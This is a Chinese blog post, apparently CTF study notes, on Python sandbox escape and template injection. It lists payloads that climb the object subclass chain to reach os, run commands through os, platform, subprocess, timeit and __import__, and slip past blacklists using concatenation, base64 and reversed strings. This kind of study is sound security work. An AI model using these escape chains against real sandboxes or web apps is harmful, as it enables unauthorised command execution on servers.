感觉跟模板注入差不多,或者说模板注入本质上就是沙箱逃逸?

沙箱:

沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等,比如黑客们为了试用某种病毒或者不安全产品,往往可以将它们在沙箱环境中运行。
经典的沙箱系统的实现途径一般是通过拦截系统调用,监视程序行为,然后依据用户定义的策略来控制和限制程序对计算机资源的使用,比如改写注册表,读写磁盘等。

沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。

dir() 用于展示一个对象的属性有哪些
__dict__ 以字典的格式列出来这个类中所支持的方法,属性
__subclasses__() 查看当前类的子类
__dict__魔术方法 以字典的格式列出来这个类中所支持的方法,属性
__getattribute__魔术方法 取得字典中的某种方法

如果过滤了一些危险函数、模块,比如os,这时可以通过继承关系,找到有os相关方法的类,以python2为例

首先找到一个有用的子类

().__class__.__base__.__subclasses__()

这可以列出object的所有子类,其中有个warnings.catch_warnings,在第61个位置,里面有个操作文件的模块linecache

image-20220302230649150

image-20220302230824333

linecache又调用了os,这样就可以命令执行了

image-20220302232653134

image-20220302233339868

如果说不能出现一些敏感字符的话,可以用字符串拼接或者编码绕过

().__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['os'].__dict__['system']('dir')

image-20220303132207698

().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('dir')

image-20220303132306484

().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('dir')

image-20220303132343067

沙箱逃逸题的关键在于绕过,需要用一些特别的操作去绕过他ban掉的函数

简单梳理一下可利用的方法,模块及绕过

调用了os的模块

//Python 2.7.17
59<class 'warnings.WarningMessage'>
90<class 'warnings.catch_warnings'>
40< type 'file'>
72<class 'site._Printer'>
73<class 'site._Helper'>
77<class 'site.Quitter'>

os

import os
os.system('dir')
os.popen('dir').read()

platform

import platform
platform.popen('dir').read()
platform.os.system('dir')

subprocess

__builtins__.__dict__['__import__']('subprocess').__dict__['Popen'](['dir'])

commands

好像只适用于linux

timeit

import timeit
timeit.timeit("__import__('os').system('dir')")
timeit还可以sleep盲注

globals

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')

builtins

python的内建函数,里面有很多有用的函数,其中最好用的就是__import__,有了这就可以导入上述的任意模块

__builtins__.__dict__['__import__']('os').__dict__['system']('dir')

reload

有时候会将__builtins__中的一些方法移出这时只要reload一下即可

但Python 3.0把reload内置函数移到了imp标准库模块中

reload(__builtins__)

绕过

'X19pbXBvcnRfXw=='.decode('base64')  => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi')
dir()[0][0:1] => '_'

相关的题目其实都还比较简单,[CSCCTF 2019 Qual]FlaskLight,攻防世界Web_python_template_injection,有时一个payload基本通杀,不行的话稍微绕一下就行

学习了一下后,发现其实模板注入就是沙箱逃逸,只不过模板注入是有不同的模板引擎,有时需要用该模板特有的模块或函数进行注入逃逸

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏